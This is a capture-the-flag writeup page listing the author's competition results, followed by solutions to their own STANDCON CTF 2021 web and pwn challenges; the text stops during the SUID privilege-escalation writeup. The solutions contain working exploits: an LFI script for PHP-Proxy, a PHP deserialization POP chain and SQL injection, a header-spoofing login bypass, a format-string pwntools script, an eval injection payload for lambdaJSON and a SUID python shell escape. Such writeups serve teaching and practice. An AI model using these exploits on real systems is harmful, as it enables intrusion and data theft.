# Zeyu's CTF Writeups

Here you can find writeups from various CTFs that I've participated in.

## \~# man CTFs

In case you don't know what CTFs are, here's a nice definition:

> A capture the flag (CTF) contest is a special kind of cybersecurity competition designed to challenge its participants to solve computer security problems and/or capture and defend computer systems.

## \~# groups

I play CTFs with [Social Engineering Experts](https://ctftime.org/team/151372) and [Water Paddler](https://ctftime.org/team/155019).

Social Engineering Experts is a Singapore-based team founded by a group of friends. We're always looking for active players to join us — check out the recruitment form in our CTFtime profile.

{% embed url="<https://ctftime.org/team/154571>" %}

## \~# ls -la 2023

| CTF Name                                                         | Type     | Position                                      |
| ---------------------------------------------------------------- | -------- | --------------------------------------------- |
| [DEF CON CTF 2023 Qualifiers](/2023/def-con-ctf-2023-qualifiers) | Jeopardy | [🥇](https://emojipedia.org/1st-place-medal/) |
| [hxp CTF 2022](/2023/hxp-ctf)                                    | Jeopardy | [🥇](https://emojipedia.org/1st-place-medal/) |
| [HackTM CTF Qualifiers](/2023/hacktm-ctf-qualifiers)             | Jeopardy | 6th                                           |
| Insomni'hack Teaser                                              | Jeopardy | 11th                                          |
| IrisCTF 2023                                                     | Jeopardy | 1st                                           |
| TetCTF 2023                                                      | Jeopardy | 4th                                           |

## \~# ls -la 2022

| CTF Name                                                          | Type                  | Position                                                                              |
| ----------------------------------------------------------------- | --------------------- | ------------------------------------------------------------------------------------- |
| ASIS CTF Finals 2022                                              | Jeopardy              | [🥈](https://emojipedia.org/2nd-place-medal/)                                         |
| [niteCTF 2022](/2022/nitectf-2022)                                | Jeopardy              | 13th                                                                                  |
| [STACK the Flags 2022](/2022/stack-the-flags-2022)                | Jeopardy              | [🥉](https://emojipedia.org/3rd-place-medal/)                                         |
| LakeCTF Finals                                                    | Jeopardy              | 6th                                                                                   |
| [LakeCTF Qualifiers](/2022/lakectf-qualifiers)                    | Jeopardy              | 7th                                                                                   |
| [The InfoSecurity Challenge 2022](/2022/tisc-2022)                | Jeopardy              | Challenge Author                                                                      |
| Midnight Sun CTF Finals                                           | Jeopardy              | 7th                                                                                   |
| Midnight Sun CTF Quals                                            | Jeopardy              | 6th                                                                                   |
| [BalsnCTF 2022](/2022/balsnctf-2022)                              | Jeopardy              | 8th                                                                                   |
| HITB SECCONF CTF 2022                                             | Attack-Defense        | 11th                                                                                  |
| [BSidesTLV 2022 CTF](/2022/bsidestlv-2022-ctf)                    | Jeopardy              | 7th                                                                                   |
| [Grey Cat The Flag 2022 Qualifiers](/2022/grey-cat-the-flag-2022) | Jeopardy              | <p><a href="https://emojipedia.org/3rd-place-medal/">🥉</a> (SG)<br>4th (Overall)</p> |
| [DEF CON CTF 2022 Qualifiers](/2022/def-con-ctf-2022-qualifiers)  | Jeopardy              | 26th                                                                                  |
| [Securinets CTF Finals 2022](/2022/securinets-ctf-finals-2022)    | Jeopardy              | 4th                                                                                   |
| [NahamCon CTF 2022](/2022/nahamcon-ctf-2022)                      | Jeopardy              | 13th                                                                                  |
| [Securinets CTF Quals 2022](/2022/securinets-ctf-quals-2022)      | Jeopardy              | 4th                                                                                   |
| LINE CTF 2022                                                     | Jeopardy              | 19th                                                                                  |
| [CTF.SG CTF](/2022/ctf.sg-ctf)                                    | Jeopardy              | [🥉](https://emojipedia.org/3rd-place-medal/)                                         |
| [YaCTF 2022](/2022/yactf-2022)                                    | Jeopardy (Individual) | 13th                                                                                  |
| [DiceCTF 2022](/2022/dicectf-2022)                                | Jeopardy              | 33rd                                                                                  |
| [TetCTF 2022](/2022/tetctf-2022)                                  | Jeopardy              | 7th                                                                                   |

## \~# ls -la 2021

| CTF Name                                                                                     | Type                  | Position                                                                                  |
| -------------------------------------------------------------------------------------------- | --------------------- | ----------------------------------------------------------------------------------------- |
| [hxp CTF 2021](/2021/hxp-ctf-2021)                                                           | Jeopardy              | 48th                                                                                      |
| [HTX Investigator's Challenge 2021](/2021/htx-investigators-challenge-2021)                  | Jeopardy              | Top of Scoreboard                                                                         |
| idekCTF 2021                                                                                 | Jeopardy              | 13th                                                                                      |
| [Metasploit Community CTF](/2021/metasploit-community-ctf)                                   | Hack Quest            | 7th                                                                                       |
| [MetaCTF CyberGames](/2021/metactf-cybergames)                                               | Jeopardy              | 24th                                                                                      |
| [CyberSecurityRumble CTF](/2021/cybersecurityrumble-ctf)                                     | Jeopardy              | 16th                                                                                      |
| [The InfoSecurity Challenge (TISC) 2021](/2021/the-infosecurity-challenge-tisc-2021)         | Jeopardy (Individual) | 23rd                                                                                      |
| BuckeyeCTF 2021                                                                              | Jeopardy              | 7th                                                                                       |
| [SPbCTF's Student CTF 2021 Quals](/2021/spbctfs-student-ctf-quals)                           | Jeopardy              | 37th                                                                                      |
| pbCTF 2021                                                                                   | Jeopardy              | 32nd                                                                                      |
| DeconstruCT.F                                                                                | Jeopardy              | 14th                                                                                      |
| [Asian Cyber Security Challenge (ACSC) 2021](/2021/asian-cyber-security-challenge-acsc-2021) | Jeopardy (Individual) | <p><a href="https://emojipedia.org/3rd-place-medal/">🥉</a> (SG)</p><p>33rd (Overall)</p> |
| [CSAW CTF Qualification Round 2021](/2021/csaw-ctf-qualification-round-2021)                 | Jeopardy              | 23rd                                                                                      |
| [YauzaCTF 2021](/2021/yauzactf-2021)                                                         | Jeopardy              | 9th                                                                                       |
| [InCTF International](/2021/inctf-2021)                                                      | Jeopardy              | 22nd                                                                                      |
| DEF CON 29 Red Team Village CTF (Finals)                                                     | Hack Quest            | 18th                                                                                      |
| DEF CON 29 Red Team Village CTF (Quals)                                                      | Jeopardy              | 16th                                                                                      |
| [UIUCTF 2021](/2021/uiuctf-2021)                                                             | Jeopardy              | 18th                                                                                      |
| Securebug Loki CTF                                                                           | Jeopardy              | 5th                                                                                       |
| [Google CTF 2021](/2021/google-ctf-2021)                                                     | Jeopardy              | < 20%                                                                                     |
| [TyphoonCon CTF 2021](/2021/typhooncon-ctf-2021)                                             | Jeopardy              | 10th                                                                                      |
| [DSTA BrainHack CDDC21](/2021/dsta-brainhack-cddc21)                                         | Jeopardy              | [🥉](https://emojipedia.org/3rd-place-medal/)                                             |
| [BCACTF 2.0](https://github.com/zeyu2001/CTFs/blob/master/2021/bcactf-2.0)                   | Jeopardy              | 43rd                                                                                      |
| [Zh3ro CTF V2](/2021/zh3ro-ctf-v2)                                                           | Jeopardy              | 37th                                                                                      |
| [Pwn2Win CTF](/2021/pwn2win-ctf-2021)                                                        | Jeopardy              | 62nd                                                                                      |
| [NorzhCTF](/2021/norzhctf-2021)                                                              | Hack Quest            | 29th                                                                                      |
| [DawgCTF](/2021/dawgctf-2021)                                                                | Jeopardy              | 13th                                                                                      |
| [UMDCTF](/2021/umdctf-2021)                                                                  | Jeopardy              | 8th                                                                                       |
| [Midnight Sun CTF](/2021/midnight-sun-ctf)                                                   | Jeopardy              | < 20%                                                                                     |
| [picoCTF](/2021/picoctf)                                                                     | Jeopardy              | < 5%                                                                                      |
| [DSO-NUS CTF](/2021/dso-nus-ctf)                                                             | Jeopardy              | < 20%                                                                                     |

## \~# cat LICENSE

All original code is licensed under the MIT license.


# STANDCON CTF 2021

STANDCON CTF is a Singaporean CTF competition for tertiary students.

![](/files/PBu5Yym1Wb3To0HdIPfH)

Here are the solutions to my challenges for the STANDCON CTF, hosted by N0H4TS on 25 July. It was my first time writing challenges for a CTF, so please feel free to let me know if you have any feedback!

## Web

* [Space Station](/my-challenges/standcon-ctf-2021/space-station)
* [Star Cereal](/my-challenges/standcon-ctf-2021/star-cereal)
* [Star Cereal 2](/my-challenges/standcon-ctf-2021/star-cereal-2)

Space Station was a relatively simple challenge, requiring participants to identify an LFI vulnerability in the PHP-Proxy library.

Star Cereal and Star Cereal 2 proved to be the more challenging.

Star Cereal required knowledge of PHP deserialization and object injection, while Star Cereal 2 required some creative thinking to piece clues together.

Star Cereal 2 went unsolved until the last hour of the CTF when additional hints were released.

## Pwn

* [Mission Control](/my-challenges/standcon-ctf-2021/mission-control)
* [Rocket Science](/my-challenges/standcon-ctf-2021/rocket-science)
* [Space University of Interior Design](/my-challenges/standcon-ctf-2021/space-university-of-interior-design)

Mission Control was a relatively simple challenge, requiring participants to overwrite a global variable through a format string vulnerability.

Space University of Interior Design was a rather fun challenge, requiring participants to escalate privileges through SUID and SUDO misconfigurations.

Rocket Science proved to be the most challenging. This challenge required participants to find information on the lambdaJSON library, read the source code, and exploit it independently.

## Cryptography

* [Rocket Ship Academy](/my-challenges/standcon-ctf-2021/rocket-ship-academy)
* [Space Noise](/my-challenges/standcon-ctf-2021/space-noise)

Rocket Ship Academy was a classic textbook RSA chosen-ciphertext attack.

Space Noise was a little more challenging, requiring participants to find patterns in the given PCAP file, and infer that a covert channel was implemented using morse code.


# Space Station

N-day Local File Inclusion (LFI) vulnerability in PHP-Proxy.

## Description

Where do you want to go?

`http://20.198.209.142:55047`

*The flag is in the flag format: STC{...}*

**Author: zeyu2001**

## Solution

Going to the given site only shows `Hello Mars!`.

![](/files/AtHCpvXX5yO0B70wur6B)

Performing a simple directory busting scan, we find some interesting information.

```
└─# gobuster dir -u http://20.198.209.142:55047/ -w /usr/share/dirb/wordlists/common.txt -k -x .txt,.php --threads 10
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://20.198.209.142:55047/
[+] Threads:        10
[+] Wordlist:       /usr/share/dirb/wordlists/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     txt,php
[+] Timeout:        10s
===============================================================
2021/07/23 23:06:33 Starting gobuster
===============================================================
/.hta (Status: 403)
/.hta.php (Status: 403)
/.hta.txt (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.txt (Status: 403)
/.htpasswd.php (Status: 403)
/.htaccess (Status: 403)
/.htaccess.txt (Status: 403)
/.htaccess.php (Status: 403)
/app (Status: 301)
/flag.txt (Status: 403)
/index.php (Status: 200)
/index.php (Status: 200)
/server-status (Status: 403)
===============================================================
2021/07/23 23:06:52 Finished
===============================================================
```

We find a `/flag.txt`, but we cannot view it. Let's keep in mind that the flag is in web root for now.

![](/files/S6yIuMx74XLQ8zA8zDpz)

Going to `/app` gives us a web proxy application.

![](/files/FrpZerY7CYRbGHv30avV)

We can enter any URL, and the corresponding page will be rendered on our browser. At the bottom of the page, we find that this application is "Powered by PHP-Proxy" and a [link](https://www.php-proxy.com) is given.

![](/files/2hasO20AbquovbL073Bc)

This link leads us to the GitHub repository, where a search for Issues containing the word "vulnerability" yields several results.

![](/files/7xKXzlKGy1iy8AzVT2x1)

A currently open and unfixed issue is that PHP-Proxy (all versions) suffers from a Local File Inclusion (LFI) vulnerability: <https://github.com/Athlon1600/php-proxy-app/issues/135>. We can also find more details here: <https://github.com/0xUhaw/CVE-Bins/tree/master/PHP-Proxy>

### The Exploit

The exploit script is already provided in the GitHub issue above.

```python
import requests
import base64

def encrypt(plaintext, key):
    key_length = len(key)
    key_as_int = [ord(i) for i in key]
    plaintext_int = [ord(i) for i in plaintext]
    ciphertext = []
    for i in range(len(plaintext_int)):
        value = (plaintext_int[i] + key_as_int[i % key_length]) % 256
        ciphertext.append(value)
    return bytes(ciphertext)

def calculate_key(ciphertext, plaintext):
    key = []
    for i in range(0, len(ciphertext)):
        if ciphertext[i] - ord(plaintext[i]) < 0:
            key.append(chr(ciphertext[i] - ord(plaintext[i]) + 256))
        else:
            key.append(chr(ciphertext[i] - ord(plaintext[i])))

    return "".join(key[:32])

def exploit(url, file_to_read):
    r = requests.post(url + '/index.php', data={'url': 'http://aaaaaaaaaaaaaaaaaaaaaaaaaaa.com'}, allow_redirects=False)

    b64_url_ciphertext = r.headers['location'].split('?q=')[1]
    b64_url_ciphertext = b64_url_ciphertext + "=" * (len(b64_url_ciphertext) % 4)
    url_ciphertext = base64.b64decode(b64_url_ciphertext)
    url_plaintext = 'http://aaaaaaaaaaaaaaaaaaaaaaaaaaa.com'

    key = calculate_key(url_ciphertext, url_plaintext)
    return requests.get(url + '/index.php', params={'q': base64.b64encode(encrypt(file_to_read, key))}).text

print(exploit('http://20.198.209.142:55047/app', 'file:///var/www/html/flag.txt'))
```

Running the script gives us the flag, `STC{l0cal_f1l3_1nclus10n_328d47c2ac5b2389ddc47e5500d30e04}`

![](/files/jp3tWGzMVfzPczEFANeo)

To understand why the exploit works, read on below!

### The Vulnerability

When visiting a page through PHP-Proxy, the `q=` parameter is used. This is the URL we are visiting, encrypted using an app key in the package configuration.

The encryption key is generated as follows:

```php
Config::set('encryption_key', md5(Config::get('app_key').$_SERVER['REMOTE_ADDR']));
```

The URL is encrypted as follows:

```php
$url = str_rot_pass($url, $key);
```

The following encryption function is not secure enough. It simply takes every character of the key and adds it to the original plaintext. Since we know both the plaintext (the original URL) and the ciphertext (the `q=` parameter), we can easily reverse-engineer the key.

```php
// rotate each string character based on corresponding ascii values from some key
function str_rot_pass($str, $key, $decrypt = false){

    // if key happens to be shorter than the data
    $key_len = strlen($key);

    $result = str_repeat(' ', strlen($str));

    for($i=0; $i<strlen($str); $i++){

        if($decrypt){
            $ascii = ord($str[$i]) - ord($key[$i % $key_len]);
        } else {
            $ascii = ord($str[$i]) + ord($key[$i % $key_len]);
        }

        $result[$i] = chr($ascii);
    }

    return $result;
}
```

Then, after getting the key, it is simply a matter of encrypting `file:///var/www/html/flag.txt` since the `file://` protocol is not explicitly banned.


# Star Cereal

PHP insecure deserialisation vulnerability

## Description

Have you heard of Star Cereal? It's a new brand of cereal that's been rapidly gaining popularity amongst astronauts - so much so that their devs had to scramble to piece together a website for their business! The stress must have really gotten to them though, because a junior dev accidentally leaked part of the source code...

`http://20.198.209.142:55043`

*The flag is in the flag format: STC{...}*

**Author: zeyu2001**

{% file src="/files/-MfLbanv2Auhhgn7XFFI" %}
process\_login.php
{% endfile %}

## Solution

The goal of this challenge is to perform an authentication bypass through a PHP object injection vulnerability. There are three classes involved, and each one of them needs to be examined to construct a "POP chain" for successful exploitation.

We are given the following page:

![](/files/LIhw9UvMqzHd9bj7Ha2E)

Going over to the login page, we see the following 3 fields.

![](/files/hvWbAqQrJjisnIB9SI3m)

### Source Code Inspection

At the bottom of the provided source code, we see the logic behind the application's authentication.

```php
// Verify login
if(isset($_COOKIE["login"])){
    try
    {
        $login = unserialize(base64_decode(urldecode($_COOKIE["login"])));
        if ($login->verifyLogin())
        {
            $_SESSION['admin'] = true;
        }
        else
        {
            $_SESSION['admin'] = false;
        }
    }
    catch (Error $e)
    {
        $_SESSION['admin'] = false;
    }
}


// Handle form submission
if (isset($_POST['email']) && isset($_POST['pass']) && isset($_POST['token']))
{
    $login = new Login(new User($_POST['email'], $_POST['pass']), $_POST['token']);
    setcookie("login", urlencode(base64_encode(serialize($login))), time() + (86400 * 30), "/");
    header("Refresh:0");
    die();
}
```

The `login` cookie is deserialized into a `Login` object. This should already sound some alarm bells!

The `Login` object consists of a `User` object and an MFA token. The `$mfa_token` is checked against an integer `$_correctValue` randomly generated at runtime. If the check passes, the user credentials are then checked.

```php
class Login
{
    public $user;
    public $mfa_token;

    protected $_correctValue;

    function __construct($user, $mfa_token)
    {
        $this->user = $user;
        $this->mfa_token = $mfa_token;
    }

    function verifyLogin()
    {
        $this->_correctValue = random_int(1e10, 1e11 - 1);
        if ($this->mfa_token === $this->_correctValue)
        {
            return $this->user->is_admin();
        }
    }
}
```

Interestingly, the `User` class instantiates a `SQL` object, and uses it to execute SQL queries to authenticate the user. If results are returned and consist of the `email` and `password` columns, then the authentication is successful.

```php
class User
{
    public $email;
    public $password;

    protected $sql;

    function __construct($email, $password)
    {
        $this->email = $email;
        $this->password = $password;
        $this->sql = new SQL();
    }

    function __toString() 
    {
        return $this->email . ':' . $this->password;
    }

    function is_admin()
    {
        $result = $this->sql->exec_query($this->email, $this->password);

        if ($result && $row = $result->fetch_assoc()) {
            if ($row['email'] && $row['password'])
            {
                return true;
            }
        }
        return false;
    }
}
```

The `SQL` class contains a `$query` attribute that is used to generate a prepared statement. Note that if the `bind_param()` call returns `false`, the authentication fails. This can happen if, for example, the number of parameters in the prepared statement and the number of variables to bind do not match.

```php
class SQL
{
    protected $query;

    function __construct()
    {
        $this->query = "SELECT email, password FROM admins WHERE email=? AND password=?";
    }

    function exec_query($email, $pass)
    {
        $conn = new mysqli("db", getenv("MYSQL_USER"), getenv("MYSQL_PASS"));

        // Check connection
        if ($conn->connect_error) {
            die("Connection failed. Please inform CTF creators.");
        }

        $stmt = $conn->prepare($this->query);

        // Sanity check
        if (! $stmt->bind_param("ss", $email, $pass))
        {
            return NULL;
        }

        $stmt->execute();
        $result = $stmt->get_result();

        return $result;
    }

}
```

### Object Injection

When user data is deserialized into objects, we can inject custom objects to e.g. modify protected attributes, bypass authentication, etc. We can bypass the above checks by using a "POP chain" of custom objects.

#### MFA Token

The MFA token check can be bypassed if we set `$mfa_token` as a reference to the `$_correctValue` attribute using the ampersand (&). Note that in PHP, a reference is simply another variable that points to the same data (unlike pointers in C).

Thus, this will ensure that the two values are always **equal**.

The custom object can be generated as follows:

```php
class Login
{
    public $user;
    public $mfa_token;
    protected $_correctValue;

    function __construct()
    {
        $this->user = new User();
        $this->mfa_token = &$this->_correctValue;
    }
}

$login = new Login();
```

#### SQL

Note that the `SQL` class has a `$query` attribute that is used in the prepared statement. By simply modifying the `$query`, we can perform an SQL injection.

To bypass the authentication we simply need a valid result set with `email` and `password` columns.

We can use something like

```sql
SELECT 'dead@beef' AS email, 'l33t' AS password
```

which will return one row with `email` and `password` columns.

Remember the `bind_param()` check? We still need to make sure that there are two parameters in the prepared statement, so we will do something like this:

```sql
SELECT ? AS email, ? AS password
```

any other valid query that makes use of two parameters would work too.

### Exploit

Using the previously discussed knowledge, it is now trivial to create a solver script that gives us the required base-64 encoded serialized data.

```php
class SQL
{
    protected $query="SELECT ? AS email, ? AS password";
}

class User
{
    public $email = 'dead@beef';
    public $password = 'l33t';
    protected $sql;

    function __construct()
    {
        $this->sql = new SQL();
    }
}

class Login
{
    public $user;
    public $mfa_token;
    protected $_correctValue;

    function __construct()
    {
        $this->user = new User();
        $this->mfa_token = &$this->_correctValue;
    }
}

$login = new Login();
var_dump($login);
echo urlencode(base64_encode(serialize($login)));
```

Running the above script gives us the required cookie value.

![](/files/nBRT2sXka12Z5h2PIezk)

Plugging this into the `login` cookie on our browser, we can login and get the flag.

![](/files/vL161PVA2Bj7ZDjVeNgf)


# Star Cereal 2

Spoofable client IP address, SQL injection vulnerability

## Description

Ha, that was sneaky! But I've patched the login so that people like you can't gain access anymore. Stop hacking us!

`http://20.198.209.142:55045`

*The flag is in the flag format: STC{...}*

**Author: zeyu2001**

## Solution

In `index.php`, notice the following comment

```markup
<!--
Star Cereal page by zeyu2001

TODO:
    1) URGENT - fix login vulnerability by disallowing external logins (done)
    2) Integrate admin console currently hosted at http://172.16.2.155
-->
```

Point 1) is referring to the previous challenge. Point 2) is interesting.

If we go to `login.php`, we get a 403 Forbidden Page:

```markup
<h1>Forbidden</h1>
<p>Only admins allowed to login.</p>
```

### Spoofable Client IP

We could deduce that perhaps the server filters requests by the client IP.

A common security misconfiguration in implementing such a filter is the use of the [X-Forwarded-For header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-For). This header is used for identifying the originating IP address of a client connecting to a web server through an HTTP proxy or a load balancer.

Note that HTTP request headers can be [easily spoofed](https://portswigger.net/kb/issues/00400110_spoofable-client-ip-address). Knowing that one of the internal IP addresses is 172.16.2.155, we may want to check the 172.16.2.0/24 subnet for valid client IPs.

If we do a scan (e.g. using Burp Suite Intruder) for the 172.16.2.0/24 subnet with the `X-Forwarded-For` header, we would find that if we set:

```http
X-Forwarded-For: 172.16.2.24
```

then we would see the login page.

### Burp Suite Intruder Scan

First, set the payload position as follows:

![](/files/iOwuJsc3sdvsSwGu4y1F)

Then, configure the payload as a list of numbers from 1 to 255.

![](/files/yl5z7JAuZnkjBi5kW0Wl)

Run the attack. Sort the output by either the Status or Length columns. We will find that `X-Forwarded-For: 172.16.2.24` gives us a 200 OK response code, and shows us the login page.

![](/files/Lz1fxvlCQYCXIo2AdP8N)

### SQL Injection

Once we have access to the login page, notice the login form fields.

```markup
<form action="/login.php" method="post">
	<div class="form-group">
		<label for="email">Email address</label>
		<input type="email" class="form-control" id="email" name="email" placeholder="Enter email">
	</div>
	<div class="form-group">
		<label for="pass">Password</label>
		<input type="pass" class="form-control" id="pass" name="pass" placeholder="Enter password">
	</div>
	<button type="submit" class="btn btn-primary">Submit</button>
</form>
```

We need to submit an `email` and a `pass` parameter. We can exploit SQL injection to get the flag.

```http
POST /login.php HTTP/1.1
Host: localhost:55043
X-Forwarded-For: 172.16.2.24

...

Content-Type: application/x-www-form-urlencoded
Content-Length: 51

email=test&pass=test' UNION SELECT 'test', 'test';#
```

The flag is `STC{w0w_you'r3_r3lly_a_l33t_h4x0r_bc1d4611be52117c9a8bb99bf572d6a7}`.

![](/files/Q5NY5q47w5XL4gcJ6Pb8)


# Mission Control

Format string vulnerability

## Description

There have been many hackers trying to compromise our mission control panel lately. We have added a few verification checks!

`nc 20.198.209.142 55021`

*The flag is in the flag format: STC{...}*

**Author: zeyu2001**

{% file src="/files/-MfMAIHqMGt\_NlT9N9k8" %}
mission\_control
{% endfile %}

{% file src="/files/-MfMAJFPbNBIHDoRKsKe" %}
mission\_control.c
{% endfile %}

## Solution

### Source Code Analysis

To get the flag, users must overwrite the `secret_code` global variable.

```c
#define ADMIN_CODE 200

int secret_code = 0;

...

int main(int argc, char **argv)
{
	if (secret_code == ADMIN_CODE)
	{
		give_shell();
	}
	else
	{
		printf("Sorry, this area is currently disabled.\n");
	}

	return 0;
}
```

Now let's look at the rest of the code. User input is read into `buf`, and `buf` is concatenated to `to_print` before `printf(to_print)` is called.

```c
...

char buf[128];
memset(buf, 0, sizeof(buf));
fgets(buf, 128, stdin);

char to_print[256];
memset(to_print, 0, sizeof(to_print));

strcpy(to_print, "You said: ");
strcat(to_print, buf);

printf(to_print);
printf("Code: %d\n", secret_code);

...
```

This is a classic format string vulnerability. User input is directly passed into the `printf` format string, allowing us to write to arbitrary memory addresses.

An additional restriction is that the first 16 characters of the input must be "I am not a robot".

```c
if (strncmp(buf, "I am not a robot", 16) == 0)
{	
	printf("Glad to hear that!\n");
}
else
{
	printf("Stop hacking us!\n");
	return 0;
}
```

### Exploitation

Using `objdump`, we can find the memory address of `secret_code`.

```
$ objdump -t mission_control | grep secret_code
080dffbc g     O .bss    00000004 secret_code
```

We need to send 4 bytes in order to specify the address which we want to overwrite. Let this be `AAAA` for now. By sending `I am not a robotAAAA%x.%x.%x ...`, we can leak the stack values (every `%x` represents 4 bytes).

![](/files/uNDvia62xccJJeNwm2zM)

Notice that `4141746f` appears at the 10th index and `78254141` at the 11th index. We need the full four bytes to be at the same index, so let's add two extra bytes before the `AAAA`.

![](/files/EIlHRnDg4TR0LpxoD1pY)

We have added two extra bytes `BB` and used Direct Parameter Access (DPA) to specify we want the 11th index. The payload is `I am not a robotBBAAAA%11$p`. As we can see, the 11th index is now our `AAAA` string, i.e.`0x41414141`. Perfect!

The final payload is `I am not a robotBB\xbc\xff\x0d\x08%168x%11$n`.

* `\xbc\xff\x0d\x08` is the memory address of `secret_code` (0x080dffbc) in little-endian.
* `%168x%11$n` writes 168 + \[bytes already wrote] to the address on the 11th index.

The exploitation process is outlined by this script:

```python
from pwn import *

# Bruteforce the index of the buffer

conn = remote("20.198.209.142", 55021)
print(conn.recv())

conn.send("I am not a robotBBAAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x\r\n")

print(conn.recv())

# Check the index of the buffer

conn = remote("20.198.209.142", 55021)
print(conn.recv())

conn.send(b"I am not a robotBBAAAA%11$p\r\n")
print(conn.recv())

# Overwrite the secret_code address

conn = remote("20.198.209.142", 55021)
print(conn.recv())

conn.send(b"I am not a robotBB\xbc\xff\x0d\x08%168x%11$n\r\n") # 080dffbc
print(conn.recv())
conn.interactive()
```

Once we overwrite the secret code, we are given a shell.

![](/files/6OuOZ403XnWxWpEmEH2d)

The flag is `STC{1_l0v3_f0rm4t_st1ngs_0ab7a4af7bb1343810ccde8244031f2f}`.


# Rocket Science

Code injection vulnerability in lambdaJSON

## Description

Welcome to Rocket Science! In this class, we will learn all about rockets. But first, let's revise your numbers!

`nc 20.198.209.142 55020`

*The flag is in the flag format: STC{...}*

**Author: zeyu2001**

{% file src="/files/-MfMROF5eetXvu-lW\_68" %}
requirements.txt
{% endfile %}

{% file src="/files/-MfMRSjF9XiyqyRMI\_TM" %}
rocket\_science.py
{% endfile %}

## Solution

The requirements file contains only a single dependency.

```
lambdajson == 0.1.4
```

Let's take a look at the part of the source code in which this is used.

```python
elif ipt == '3':
	
		print("Enter saved numbers:")
		
		try:
			numbers = lj.deserialize(input('> '))
			
			if type(numbers) == tuple and all(type(x) == int for x in numbers):
				print(numbers)
				
			else:
				print("Don't you know what numbers are?")
			
		except:
			print("Invalid input!")
```

We can see that `lj.deserialize()` is called directly on the user input.

It's always a good idea to check dependencies for vulnerabilities, so let's go to the [PyPi page](https://pypi.org/project/lambdaJSON/) for lambdaJSON. If version 0.1.4 is vulnerable, then we should expect later versions to issue security fixes.

On the [release notes](https://pypi.org/project/lambdaJSON/0.1.5/) from version 0.1.5, we find our vulnerability.

![](/files/0k07gRYnuNZe1k5A3Nxa)

Under the "Changes from previous" section:

> Security fix. Using ast.literal\_eval as eval.

From the release history, we can find out when this fix was released.

![](/files/7LQB6Udrci0MC8fCNgnh)

This allows us to find the [GitHub commit](https://github.com/pouya-eghbali/lambdaJSON/commit/0d3bcb8bf3388c90819f0f24c9865bc8d4d8b91e) for this fix.

![](/files/us5FN4Ol1oTT4cpowHIg)

Great! We have found the source code for the vulnerable version of the package. In the [source code](https://github.com/pouya-eghbali/lambdaJSON/blob/05d8d92916cdb9df20b83265c6ccd38d6b29d52b/lambdaJSON.py), we find that the `restore()` function used by `deserialize()` uses `eval()`!

```python
restore = lambda obj:          (isinstance(obj, str) 
                        and    (lambda x: x.startswith('bytes://') 
                        and    bytes(x[8:], encoding = 'utf8') 
                        or     x.startswith('int://') 
                        and    int(x[6:]) 
                        or     x.startswith('float://') 
                        and    float(x[8:])
                        or     x.startswith('long://') 
                        and    long(x[7:])
                        or     x.startswith('bool://') 
                        and    eval(x[7:]) 
                        or     x.startswith('complex://')
                        and    complex(x[10:])
                        or     x.startswith('tuple://') 
                        and    eval(x[8:]) or x)(obj) 
                        or     isinstance(obj, list) 
                        and    [restore(i) for i in obj] 
                        or     isinstance(obj, dict) 
                        and    {restore(i):restore(obj[i]) for i in obj} 
                        or     obj)

...

deserialize = lambda obj: restore(json.loads(obj))
```

Note that the deserialized output must be a tuple of integers.

```python
if type(numbers) == tuple and all(type(x) == int for x in numbers):
				print(numbers)
```

The vulnerable version of `deserialize()` will strip the starting `tuple://` and `eval()` the rest of the input string.

So, if we use the following payload:

```
"tuple://(int.from_bytes(open('flag.txt').read().encode(), byteorder='big'), 2)"
```

we will get the integer representation of the flag.

![](/files/R6mOG44i0UCqOclU9YWd)

The flag is `STC{3v4l_1s_3v1l_00e80002e832f357cf5c05ee114a5cb40e746757}`

```
➜  ~ python3
Python 3.9.5 (default, May  4 2021, 03:36:27)
[Clang 12.0.0 (clang-1200.0.32.29)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from Crypto.Util.number import long_to_bytes
>>> long_to_bytes(3969309506657081582967368110556498469050796930805813227720771571473136717745745293677237528859886779701434271164439572744813346302117987974410)
b'STC{3v4l_1s_3v1l_00e80002e832f357cf5c05ee114a5cb40e746757}\n'
>>>
```


# Space University of Interior Design

SUID and Sudo misconfigurations

## Description

Storytelling is the root of interior design.

`nc 20.198.209.142 55022`

*The flag is in the flag format: STC{...}*

**Author: zeyu2001**

## Solution

We start off as a guest user, and need to escalate our privileges to get the flag.

```
$ id
uid=1001(guest) gid=1001(guest) groups=1001(guest)
```

Let's find all files with SUID permissions.

```
$ find / -perm /4000 
/bin/umount
/bin/ping
/bin/mount
/bin/su
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/python3.7
/usr/bin/sudo
```

We find that Python has SUID permissions. Refer to <https://gtfobins.github.io/gtfobins/python/>.

This allows us to gain the privileges of the file owner.

Use the following command, and observe that our EUID has changed to that of `jared`.

```
$ python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
$ id
uid=1001(guest) gid=1001(guest) euid=1000(jared) groups=1001(guest)
```

Without having the true UID set to that of `jared`, we cannot `sudo`. But while we were previously unable to view `jared`'s files, we can now view them.

```
$ ls -la jared
total 900
drwx------ 1 jared jared   4096 Jul  8 18:48 .
drwxr-xr-x 1 jared jared   4096 Jul  8 18:39 ..
-rwx------ 1 jared jared    220 Apr 18  2019 .bash_logout
-rwx------ 1 jared jared   3526 Apr 18  2019 .bashrc
-rwx------ 1 jared jared    807 Apr 18  2019 .profile
